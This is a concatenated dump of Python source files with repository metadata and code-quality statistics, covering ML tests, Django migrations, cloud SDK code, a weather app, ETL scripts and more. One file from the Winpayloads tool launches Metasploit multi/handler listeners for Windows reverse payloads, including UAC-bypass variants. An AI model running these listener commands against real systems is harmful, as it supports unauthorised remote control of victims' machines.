] | 4 | 2020-11-20T17:00:27.000Z | 2021-04-01T00:53:50.000Z | import os
def get_data_path() -> str:
return os.path.join(os.path.dirname(__file__))
| 15.166667 | 50 | 0.703297 | 15 | 91 | 3.866667 | 0.733333 | 0.206897 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 91 | 5 | 51 | 18.2 | 0.753247 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
b876121bec0578b39db4f9db2727d297283b3a8a | 3,294 | py | Python | venv/Lib/site-packages/caffe2/python/ideep/adam_op_test.py | Westlanderz/AI-Plat1 | 1187c22819e5135e8e8189c99b86a93a0d66b8d8 | [
"MIT"
] | 1 | 2022-01-08T12:30:44.000Z | 2022-01-08T12:30:44.000Z | venv/Lib/site-packages/caffe2/python/ideep/adam_op_test.py | Westlanderz/AI-Plat1 | 1187c22819e5135e8e8189c99b86a93a0d66b8d8 | [
"MIT"
] | null | null | null | venv/Lib/site-packages/caffe2/python/ideep/adam_op_test.py | Westlanderz/AI-Plat1 | 1187c22819e5135e8e8189c99b86a93a0d66b8d8 | [
"MIT"
] | null | null | null |
import numpy as np
import hypothesis.strategies as st
import unittest
import caffe2.python.hypothesis_test_util as hu
from caffe2.python import core, workspace
from hypothesis import given
import caffe2.python.ideep_test_util as mu
@unittest.skipIf(not workspace.C.use_mkldnn, "No MKLDNN support.")
... | 39.686747 | 86 | 0.566181 | 416 | 3,294 | 4.300481 | 0.199519 | 0.060369 | 0.050307 | 0.071548 | 0.819452 | 0.819452 | 0.819452 | 0.819452 | 0.819452 | 0.819452 | 0 | 0.052308 | 0.30935 | 3,294 | 82 | 87 | 40.170732 | 0.734066 | 0.013054 | 0 | 0.776119 | 0 | 0 | 0.054097 | 0 | 0 | 0 | 0 | 0 | 0.029851 | 1 | 0.029851 | false | 0 | 0.104478 | 0 | 0.149254 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b88cf46affe5991b9faf2182211229897bc0e825 | 87,210 | py | Python | sdk/python/pulumi_oci/mysql/mysql_db_system.py | EladGabay/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 5 | 2021-08-17T11:14:46.000Z | 2021-12-31T02:07:03.000Z | sdk/python/pulumi_oci/mysql/mysql_db_system.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-09-06T11:21:29.000Z | 2021-09-06T11:21:29.000Z | sdk/python/pulumi_oci/mysql/mysql_db_system.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2021-08-24T23:31:30.000Z | 2022-01-02T19:26:54.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 52.822532 | 398 | 0.673799 | 10,737 | 87,210 | 5.271305 | 0.037254 | 0.075409 | 0.079897 | 0.050143 | 0.946023 | 0.927789 | 0.913018 | 0.894731 | 0.884466 | 0.858264 | 0 | 0.001676 | 0.226992 | 87,210 | 1,650 | 399 | 52.854545 | 0.837882 | 0.387387 | 0 | 0.769149 | 1 | 0.006383 | 0.150031 | 0.046285 | 0 | 0 | 0 | 0 | 0 | 1 | 0.167021 | false | 0.029787 | 0.007447 | 0 | 0.276596 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b8ad984c14225235db0101678fc68a00b63c1abf | 11,096 | py | Python | NearBeach/tests/tests_user_permissions/test_admin_only.py | raulrusu88/NearBeach | e65c8c27aa3969ac6f56a2f970776994a65771b5 | [
"MIT"
] | 94 | 2017-02-11T01:06:21.000Z | 2022-03-04T06:17:22.000Z | NearBeach/tests/tests_user_permissions/test_admin_only.py | raulrusu88/NearBeach | e65c8c27aa3969ac6f56a2f970776994a65771b5 | [
"MIT"
] | 37 | 2017-02-21T12:07:57.000Z | 2022-02-23T10:45:20.000Z | NearBeach/tests/tests_user_permissions/test_admin_only.py | raulrusu88/NearBeach | e65c8c27aa3969ac6f56a2f970776994a65771b5 | [
"MIT"
] | 26 | 2018-09-11T00:33:21.000Z | 2022-02-09T10:38:07.000Z | from django.contrib.auth.models import User
from django.test import TestCase, Client
from django.urls import reverse
# Declaration of Username and Password
username = 'admin'
password = 'Test1234$'
def login_user(c: object, self: object) -> object:
response = c.post(
reverse('login'),
self.creden... | 28.671835 | 88 | 0.536319 | 1,117 | 11,096 | 5.182632 | 0.111907 | 0.040421 | 0.095353 | 0.120228 | 0.814821 | 0.802211 | 0.779755 | 0.75298 | 0.732078 | 0.697875 | 0 | 0.01931 | 0.346611 | 11,096 | 386 | 89 | 28.746114 | 0.779172 | 0.306236 | 0 | 0.57377 | 0 | 0 | 0.145839 | 0.048085 | 0 | 0 | 0 | 0 | 0.092896 | 1 | 0.114754 | false | 0.076503 | 0.016393 | 0 | 0.229508 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
b8b79f04fc405c8d99b96eb4edb54d9c709759ce | 1,962 | py | Python | blog/migrations/0003_auto_20200118_1155.py | Ishita1608/django_project | c2cf9040073214eaa7ff5951d88c4a401e72875f | [
"bzip2-1.0.6"
] | 1 | 2021-09-12T07:09:11.000Z | 2021-09-12T07:09:11.000Z | blog/migrations/0003_auto_20200118_1155.py | Ishita1608/django_project | c2cf9040073214eaa7ff5951d88c4a401e72875f | [
"bzip2-1.0.6"
] | null | null | null | blog/migrations/0003_auto_20200118_1155.py | Ishita1608/django_project | c2cf9040073214eaa7ff5951d88c4a401e72875f | [
"bzip2-1.0.6"
] | 1 | 2021-09-12T07:09:12.000Z | 2021-09-12T07:09:12.000Z | # Generated by Django 2.2.6 on 2020-01-18 06:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0002_auto_20200116_2309'),
]
operations = [
migrations.AddField(
model_name='enroll',
name='outofmid',
... | 28.434783 | 61 | 0.531091 | 176 | 1,962 | 5.8125 | 0.272727 | 0.193548 | 0.247312 | 0.290323 | 0.770283 | 0.770283 | 0.734115 | 0.734115 | 0.695992 | 0.695992 | 0 | 0.039969 | 0.349643 | 1,962 | 68 | 62 | 28.852941 | 0.761755 | 0.022936 | 0 | 0.709677 | 1 | 0 | 0.094517 | 0.01201 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.016129 | 0 | 0.064516 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b218c10762089571ba112b83de4849b6cf5360b9 | 2,947 | py | Python | customers/migrations/0003_auto_20170527_2129.py | venkat0708/BalajiVV | ddf74d26a7ecae3f3bc5a902dcab09bf8f30e448 | [
"MIT"
] | null | null | null | customers/migrations/0003_auto_20170527_2129.py | venkat0708/BalajiVV | ddf74d26a7ecae3f3bc5a902dcab09bf8f30e448 | [
"MIT"
] | null | null | null | customers/migrations/0003_auto_20170527_2129.py | venkat0708/BalajiVV | ddf74d26a7ecae3f3bc5a902dcab09bf8f30e448 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.7 on 2017-05-27 15:59
from __future__ import unicode_literals
import django.core.validators
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('customers', '0002_vendor'),
]... | 42.1 | 207 | 0.623346 | 311 | 2,947 | 5.778135 | 0.237942 | 0.050083 | 0.077908 | 0.096828 | 0.869226 | 0.869226 | 0.794658 | 0.794658 | 0.794658 | 0.794658 | 0 | 0.020161 | 0.24262 | 2,947 | 69 | 208 | 42.710145 | 0.784946 | 0.023074 | 0 | 0.83871 | 1 | 0 | 0.192629 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.064516 | 0 | 0.112903 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b2806b9ce183089352a1da20e11abdbcbdb705ee | 15,800 | py | Python | tests/unit/parser_test.py | jamesmistry/weaveq | 810f6664a06dcbf5808f837baffe66830f14b30b | [
"MIT"
] | null | null | null | tests/unit/parser_test.py | jamesmistry/weaveq | 810f6664a06dcbf5808f837baffe66830f14b30b | [
"MIT"
] | null | null | null | tests/unit/parser_test.py | jamesmistry/weaveq | 810f6664a06dcbf5808f837baffe66830f14b30b | [
"MIT"
] | null | null | null | """@package parser_test
Tests for weaveq.parser
"""
import unittest
from weaveq.parser import TextQuery, DataSourceBuilder
from weaveq.wqexception import TextQueryCompileError
class TestDataSource(object):
"""A data source mock that always succeeds
"""
def __init__(self, source_uri, filter_string):
... | 52.666667 | 401 | 0.657405 | 1,991 | 15,800 | 5.086389 | 0.082873 | 0.057273 | 0.090649 | 0.101313 | 0.823146 | 0.810408 | 0.793424 | 0.781179 | 0.781179 | 0.769033 | 0 | 0.041203 | 0.187405 | 15,800 | 299 | 402 | 52.842809 | 0.747566 | 0.088924 | 0 | 0.435065 | 0 | 0.292208 | 0.465721 | 0.00295 | 0 | 0 | 0 | 0 | 0.175325 | 1 | 0.201299 | false | 0 | 0.019481 | 0 | 0.25974 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b280dfca02d3dccdb48f32545932f488b253baea | 5,375 | py | Python | Train-time/plot_final_performance.py | dapeter/BinaryNet | c6050d96e69eb6e94aebe232ad21276292f04313 | [
"BSD-3-Clause"
] | null | null | null | Train-time/plot_final_performance.py | dapeter/BinaryNet | c6050d96e69eb6e94aebe232ad21276292f04313 | [
"BSD-3-Clause"
] | null | null | null | Train-time/plot_final_performance.py | dapeter/BinaryNet | c6050d96e69eb6e94aebe232ad21276292f04313 | [
"BSD-3-Clause"
] | null | null | null | import os
import numpy as np
import matplotlib.pyplot as plt
import csv
from glob import glob
# MNIST
data_dirs = ["mnist_mlp_1_layer", "mnist_mlp_2_layer", "mnist_cnn_2_layer"]
colors = ["r", "g", "b", "m", "o", "c"]
c = 0
for data_dir in data_dirs:
sub_dirs = glob('./results/' + data_dir + "/*/")
binary_pe... | 33.59375 | 139 | 0.620279 | 745 | 5,375 | 4.355705 | 0.139597 | 0.083821 | 0.046225 | 0.061633 | 0.938675 | 0.924499 | 0.914022 | 0.914022 | 0.894915 | 0.894915 | 0 | 0.029792 | 0.194419 | 5,375 | 160 | 140 | 33.59375 | 0.71963 | 0.002419 | 0 | 0.839695 | 0 | 0 | 0.208396 | 0.036194 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.038168 | 0 | 0.038168 | 0.015267 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b296c5a33a6ed3faf452bda63784d835915304f3 | 14,371 | py | Python | testcases/test_9_get_object.py | evilbrave/REST_API_TESTCASES | dccfddf2030adbf8188e0e7bf6dbfa4fa581a420 | [
"MIT"
] | 1 | 2018-08-07T21:53:52.000Z | 2018-08-07T21:53:52.000Z | testcases/test_9_get_object.py | evilbrave/REST_API_TESTCASES | dccfddf2030adbf8188e0e7bf6dbfa4fa581a420 | [
"MIT"
] | null | null | null | testcases/test_9_get_object.py | evilbrave/REST_API_TESTCASES | dccfddf2030adbf8188e0e7bf6dbfa4fa581a420 | [
"MIT"
] | 1 | 2019-01-31T13:57:34.000Z | 2019-01-31T13:57:34.000Z | from urllib import quote
import test_1_device_auth
import common_data
from signature import Signature
import requests
url = common_data.oss_url
# url = "http://127.0.0.1:8888"
path = "/v1/objects/"
def init_headers(headers):
headers['X-Api-Key'] = common_data.x_api_key
headers['X-Signature'] = ""
return ... | 35.748756 | 121 | 0.681998 | 1,827 | 14,371 | 5.151067 | 0.048714 | 0.134417 | 0.049729 | 0.066305 | 0.912762 | 0.88099 | 0.88099 | 0.828392 | 0.824992 | 0.824992 | 0 | 0.013994 | 0.199429 | 14,371 | 401 | 122 | 35.837905 | 0.803998 | 0.15246 | 0 | 0.708772 | 0 | 0 | 0.115822 | 0.00214 | 0 | 0 | 0 | 0.002494 | 0 | 0 | null | null | 0 | 0.017544 | null | null | 0.277193 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a23212621f3f0c4144385a646cf42bb3530df1db | 24,046 | py | Python | staging/staging/tasks.py | lexis-project/ddi-service-apis | 9e96c4159154d70613b1977a8ea28374c038b463 | [
"Apache-2.0"
] | null | null | null | staging/staging/tasks.py | lexis-project/ddi-service-apis | 9e96c4159154d70613b1977a8ea28374c038b463 | [
"Apache-2.0"
] | null | null | null | staging/staging/tasks.py | lexis-project/ddi-service-apis | 9e96c4159154d70613b1977a8ea28374c038b463 | [
"Apache-2.0"
] | null | null | null | import logging
import time
from django.urls import reverse
from staging_api.celery import app
from celery import states
from celery.exceptions import Ignore
from celery.result import AsyncResult
from celery import Celery
from . import data_size
from . import replication_api
from . import staging_api
import sys
import o... | 35.836066 | 90 | 0.573484 | 2,832 | 24,046 | 4.66596 | 0.041314 | 0.120705 | 0.040866 | 0.059028 | 0.909868 | 0.894506 | 0.886938 | 0.847662 | 0.823218 | 0.811185 | 0 | 0.004369 | 0.31473 | 24,046 | 670 | 91 | 35.889552 | 0.797548 | 0.008109 | 0 | 0.825243 | 0 | 0 | 0.1304 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035599 | false | 0 | 0.021036 | 0 | 0.092233 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a29045b040ef64751b47142cf0c568a29fce1d6e | 29,319 | py | Python | Hava_Durumu/main.py | Canozguur/Weather-App | 3794d73adbcb3718135185374b7686fb9f8bd1ab | [
"Unlicense"
] | null | null | null | Hava_Durumu/main.py | Canozguur/Weather-App | 3794d73adbcb3718135185374b7686fb9f8bd1ab | [
"Unlicense"
] | 1 | 2021-04-11T05:52:24.000Z | 2021-04-11T05:52:24.000Z | Hava_Durumu/main.py | Canozguur/Weather-App | 3794d73adbcb3718135185374b7686fb9f8bd1ab | [
"Unlicense"
] | null | null | null | import requests
from bs4 import BeautifulSoup
from kivymd.app import MDApp
from kivymd.uix.screen import MDScreen
from kivymd.uix.card import MDCard
from kivy.uix.modalview import ModalView
from kivymd.uix.boxlayout import BoxLayout
from kivy.properties import StringProperty,BoundedNumericProperty,BooleanPropert... | 45.73947 | 206 | 0.518401 | 3,379 | 29,319 | 4.314294 | 0.068363 | 0.046303 | 0.074084 | 0.038071 | 0.871313 | 0.862121 | 0.851008 | 0.848265 | 0.845795 | 0.845795 | 0 | 0.019647 | 0.333367 | 29,319 | 640 | 207 | 45.810938 | 0.724891 | 0.075582 | 0 | 0.805447 | 0 | 0 | 0.098559 | 0.004918 | 0.001946 | 0 | 0 | 0 | 0 | 1 | 0.015564 | false | 0.013619 | 0.023346 | 0 | 0.085603 | 0.196498 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a2c9f0de5893f88b71fee3e4249054c63bd82c1b | 4,971 | py | Python | tests/pre/test_reprojection.py | shanemcq18/rom-operator-inference-Python3 | ba4bfeaba692f10bf426561c64e7c9fb21120620 | [
"MIT"
] | 2 | 2020-02-24T17:37:53.000Z | 2020-05-17T23:26:45.000Z | tests/pre/test_reprojection.py | shanemcq18/rom-operator-inference-Python3 | ba4bfeaba692f10bf426561c64e7c9fb21120620 | [
"MIT"
] | null | null | null | tests/pre/test_reprojection.py | shanemcq18/rom-operator-inference-Python3 | ba4bfeaba692f10bf426561c64e7c9fb21120620 | [
"MIT"
] | null | null | null | # pre/test_reprojection.py
"""Tests for rom_operator_inference.pre._reprojection.py"""
import pytest
import numpy as np
from scipy import linalg as la
import rom_operator_inference as opinf
# Reprojection schemes ========================================================
def test_reproject_discrete(n=50, m=5, r=3):
... | 34.520833 | 79 | 0.577147 | 832 | 4,971 | 3.328125 | 0.13101 | 0.052004 | 0.104009 | 0.096064 | 0.824847 | 0.811123 | 0.798122 | 0.798122 | 0.798122 | 0.798122 | 0 | 0.021395 | 0.238383 | 4,971 | 143 | 80 | 34.762238 | 0.709984 | 0.116073 | 0 | 0.718182 | 0 | 0 | 0.024971 | 0 | 0 | 0 | 0 | 0 | 0.290909 | 1 | 0.090909 | false | 0 | 0.036364 | 0.072727 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a2cf9821dfc6b495baa1b2569e0ad255b12b258f | 98 | py | Python | cloeepy_boto/__init__.py | cloeeai/CloeePy-Boto | c9ba48d12fde1a224577794bce3fdca6a6d3fb96 | [
"MIT"
] | null | null | null | cloeepy_boto/__init__.py | cloeeai/CloeePy-Boto | c9ba48d12fde1a224577794bce3fdca6a6d3fb96 | [
"MIT"
] | null | null | null | cloeepy_boto/__init__.py | cloeeai/CloeePy-Boto | c9ba48d12fde1a224577794bce3fdca6a6d3fb96 | [
"MIT"
] | null | null | null | from cloeepy_boto.cloeepy_boto import CloeePyBoto
def get_plugin_class():
return CloeePyBoto
| 19.6 | 49 | 0.826531 | 13 | 98 | 5.923077 | 0.769231 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132653 | 98 | 4 | 50 | 24.5 | 0.905882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
a2d67fc2fc0e99ede0cea4de4b5cb88e8cc0f7c8 | 171,922 | py | Python | silver/silverraw/silvercore.py | IshavanBaar/railaid | d8d1c4f834018b954d70ccb00a626961617d5453 | [
"MIT"
] | 5 | 2015-11-17T12:47:20.000Z | 2017-06-15T14:10:29.000Z | silver/silverraw/silvercore.py | HackTrain/silver | 339165d1b2cc6988567ce94313a66c5c0b0b95c4 | [
"MIT"
] | null | null | null | silver/silverraw/silvercore.py | HackTrain/silver | 339165d1b2cc6988567ce94313a66c5c0b0b95c4 | [
"MIT"
] | null | null | null | # ./silvercore.py
# -*- coding: utf-8 -*-
# PyXB bindings for NM:124ab58ff634848548cf6d9d1320f856ff23519e
# Generated 2015-11-14 16:58:02.798568 by PyXB version 1.2.4 using Python 2.7.9.final.0
# Namespace http://schemas.xmlsoap.org/soap/envelope/
from __future__ import unicode_literals
import pyxb
import pyxb.binding... | 58.516678 | 409 | 0.743657 | 18,937 | 171,922 | 6.549876 | 0.02371 | 0.147539 | 0.162293 | 0.21115 | 0.818882 | 0.787197 | 0.782779 | 0.781384 | 0.7559 | 0.700407 | 0 | 0.03124 | 0.133462 | 171,922 | 2,937 | 410 | 58.536602 | 0.801338 | 0.041658 | 0 | 0.760724 | 1 | 0.000394 | 0.126297 | 0.11994 | 0 | 0 | 0 | 0 | 0 | 1 | 0.002755 | false | 0.003935 | 0.022432 | 0 | 0.086974 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a2da4cb3d4c122d1d326d604f8b0df707f21fbf1 | 68 | py | Python | tests/profiling/uwsgi-app.py | p7g/dd-trace-py | 141ac0ab6e9962e3b3bafc9de172076075289a19 | [
"Apache-2.0",
"BSD-3-Clause"
] | 308 | 2016-12-07T16:49:27.000Z | 2022-03-15T10:06:45.000Z | tests/profiling/uwsgi-app.py | p7g/dd-trace-py | 141ac0ab6e9962e3b3bafc9de172076075289a19 | [
"Apache-2.0",
"BSD-3-Clause"
] | 1,928 | 2016-11-28T17:13:18.000Z | 2022-03-31T21:43:19.000Z | tests/profiling/uwsgi-app.py | p7g/dd-trace-py | 141ac0ab6e9962e3b3bafc9de172076075289a19 | [
"Apache-2.0",
"BSD-3-Clause"
] | 311 | 2016-11-27T03:01:49.000Z | 2022-03-18T21:34:03.000Z | import ddtrace.profiling.auto # noqa
def application():
pass
| 11.333333 | 37 | 0.705882 | 8 | 68 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.205882 | 68 | 5 | 38 | 13.6 | 0.888889 | 0.058824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
a2dfc9a6d085915c3816c5b8bfecf14263a47139 | 5,184 | py | Python | lib/startmetasploit.py | roberto-cavalli1/Winpayloads | f8697cb9ce154ec9f44090719ba41eaa6c07fccf | [
"Apache-2.0"
] | 8 | 2018-01-12T19:02:38.000Z | 2022-01-27T12:10:35.000Z | lib/startmetasploit.py | roberto-cavalli1/Winpayloads | f8697cb9ce154ec9f44090719ba41eaa6c07fccf | [
"Apache-2.0"
] | null | null | null | lib/startmetasploit.py | roberto-cavalli1/Winpayloads | f8697cb9ce154ec9f44090719ba41eaa6c07fccf | [
"Apache-2.0"
] | 4 | 2018-01-06T07:19:18.000Z | 2021-04-24T02:06:29.000Z | import os
class METASPLOIT(object):
def __init__(self):
if os.geteuid == 0:
self.placeholder = ''
else:
self.placeholder = 'sudo '
########Reverse########
def metrev_uac(self,portnum):
os.system('%smsfconsole -x \'use exploit/multi/handler;set payload window... | 105.795918 | 287 | 0.741512 | 711 | 5,184 | 5.322082 | 0.092827 | 0.02537 | 0.080338 | 0.084567 | 0.928911 | 0.928911 | 0.928911 | 0.928911 | 0.928911 | 0.899841 | 0 | 0.00813 | 0.122106 | 5,184 | 48 | 288 | 108 | 0.823336 | 0.003858 | 0 | 0 | 0 | 0 | 0.056834 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.439024 | false | 0.097561 | 0.02439 | 0 | 0.487805 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
0c4f3931309a9f890e1f5024409981dc029d7273 | 1,667 | py | Python | script/SqoopScript.py | wangfeigithub/mysql2hiveETL | ada8f6b69c5b09597141c3ef0ec0ca1ad8f586f1 | [
"Apache-2.0"
] | 2 | 2019-08-14T02:29:32.000Z | 2019-09-10T07:14:19.000Z | script/SqoopScript.py | wangfeigithub/mysql2hiveETL | ada8f6b69c5b09597141c3ef0ec0ca1ad8f586f1 | [
"Apache-2.0"
] | null | null | null | script/SqoopScript.py | wangfeigithub/mysql2hiveETL | ada8f6b69c5b09597141c3ef0ec0ca1ad8f586f1 | [
"Apache-2.0"
] | 1 | 2019-09-10T07:14:21.000Z | 2019-09-10T07:14:21.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018/8/30 下午5:16
# @Author : wangfei
# hive脚本
# 有变化的数据去重合并
INCREMENT_ETL_SCRIPT = '''
/data/module/sqoop/bin/sqoop import -Dmapred.job.queue.name={}\
--connect jdbc:mysql://{}:3306/{}?tinyInt1isBit=false \
--username {} \
... | 27.327869 | 74 | 0.436713 | 137 | 1,667 | 5.255474 | 0.394161 | 0.0375 | 0.054167 | 0.079167 | 0.823611 | 0.823611 | 0.779167 | 0.779167 | 0.779167 | 0.670833 | 0 | 0.02381 | 0.344931 | 1,667 | 60 | 75 | 27.783333 | 0.635531 | 0.072585 | 0 | 0.829787 | 0 | 0 | 0.938231 | 0.191157 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.06383 | 0.12766 | 0 | 0.12766 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
a75881445197d72bd73bde91bab7cc30237f6303 | 24,870 | py | Python | example/demosite/migrations/0001_initial.py | cityofaustin/wagtail-publish-preflight | 5a40d20a7811c67d2c2e085c8127c8d35103a5c8 | [
"BSD-3-Clause"
] | 1 | 2019-12-12T21:19:00.000Z | 2019-12-12T21:19:00.000Z | example/demosite/migrations/0001_initial.py | cityofaustin/wagtail-publish-preflight | 5a40d20a7811c67d2c2e085c8127c8d35103a5c8 | [
"BSD-3-Clause"
] | 12 | 2020-06-06T01:21:32.000Z | 2022-02-10T13:52:28.000Z | example/demosite/migrations/0001_initial.py | cityofaustin/wagtail-publish-preflight | 5a40d20a7811c67d2c2e085c8127c8d35103a5c8 | [
"BSD-3-Clause"
] | null | null | null | # Generated by Django 2.2.8 on 2019-12-04 23:10
from django.db import migrations, models
import django.db.models.deletion
import modelcluster.contrib.taggit
import modelcluster.fields
import wagtail.core.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
